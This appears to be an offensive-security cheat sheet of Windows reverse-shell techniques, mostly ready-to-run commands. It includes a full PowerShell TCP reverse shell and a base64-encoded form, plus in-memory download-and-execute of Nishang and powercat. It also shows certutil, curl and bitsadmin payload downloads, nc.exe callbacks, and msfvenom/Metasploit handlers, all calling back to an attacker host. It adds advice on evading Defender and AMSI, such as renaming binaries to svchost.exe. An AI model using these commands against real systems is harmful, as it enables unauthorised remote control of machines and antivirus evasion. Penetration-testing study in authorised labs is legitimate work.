Windows is harder than Linux — no /dev/tcp, no default perl, and Defender is watching PowerShell with AMSI. The usual plays: PowerShell one-liners, nc.exe dropped to disk, or an .exe generated with msfvenom.

PowerShell — The Standard

The classic reverse shell. Long, ugly, and detected by modern AV in its raw form — but it works on a clean lab, and with encoding or AMSI bypass it works on a lot of real boxes too.

powershell -NoP -NonI -W Hidden -Exec Bypass -c "$c=New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String );$rb=([text.encoding]::ASCII).GetBytes($r+'PS> ');$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()"

Flags worth knowing:

FlagPurpose
-NoPNoProfile — skip user profile scripts
-NonINonInteractive — no prompt
-W HiddenWindowStyle Hidden — no PowerShell window
-Exec BypassIgnore execution policy
-enc <b64>Execute UTF-16LE base64 payload

Base64-Encoded PowerShell

Great for squeezing a payload through a single command parameter without escaping hell.

# on your Linux attacker — encode as UTF-16LE then base64
PAYLOAD='$c=New-Object System.Net.Sockets.TCPClient("10.10.14.5",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String );$rb=([text.encoding]::ASCII).GetBytes($r+"PS> ");$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()'
echo -n "$PAYLOAD" | iconv -t UTF-16LE | base64 -w0

Then on target:

powershell -nop -w hidden -enc <long-base64-string>

Nishang’s Invoke-PowerShellTcp

Clean, well-maintained. Hosted on your attacker and pulled over HTTP.

# attacker — serve the script
python3 -m http.server 8000
# target — download and execute in memory (no disk)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444"

Add this line to the bottom of the script to auto-execute on download:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444

AMSI will scan this

Modern Defender flags Invoke-PowerShellTcp by name. Rename the function, obfuscate strings, or use an AMSI bypass before IEX.

nc.exe (Drop to Disk)

# transfer nc.exe to target first (SMB, HTTP, certutil, etc.)
certutil -urlcache -split -f http://10.10.14.5:8000/nc.exe C:\Windows\Temp\nc.exe
C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe

nc.exe triggers AV

Even Nmap’s ncat.exe is often flagged. Rename it (svchost.exe-anything) or use powercat.ps1 to stay in-memory.

powercat

A PowerShell port of netcat. Memory-only, decent for AV evasion.

# load from attacker
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5:8000/powercat.ps1')
powercat -c 10.10.14.5 -p 4444 -e cmd.exe

cmd.exe Payloads

When PowerShell is blocked (constrained language mode, AppLocker), fall back to cmd + a dropped binary.

REM download with certutil, bitsadmin, or curl
certutil -urlcache -split -f http://10.10.14.5:8000/shell.exe %TEMP%\shell.exe
%TEMP%\shell.exe

Using curl.exe (available Windows 10 1803+):

curl http://10.10.14.5:8000/shell.exe -o %TEMP%\shell.exe && %TEMP%\shell.exe

Using bitsadmin:

bitsadmin /transfer job /download /priority high http://10.10.14.5:8000/shell.exe %TEMP%\shell.exe
%TEMP%\shell.exe

msfvenom EXE

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe
# or Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o meter.exe

Catch with:

msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 4444; run"

Catching Windows Shells

Use rlwrap to get usable line editing — Windows reverse shells are miserable without it.

rlwrap nc -lvnp 4444

For HTTPS Meterpreter (survives through proxies):

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe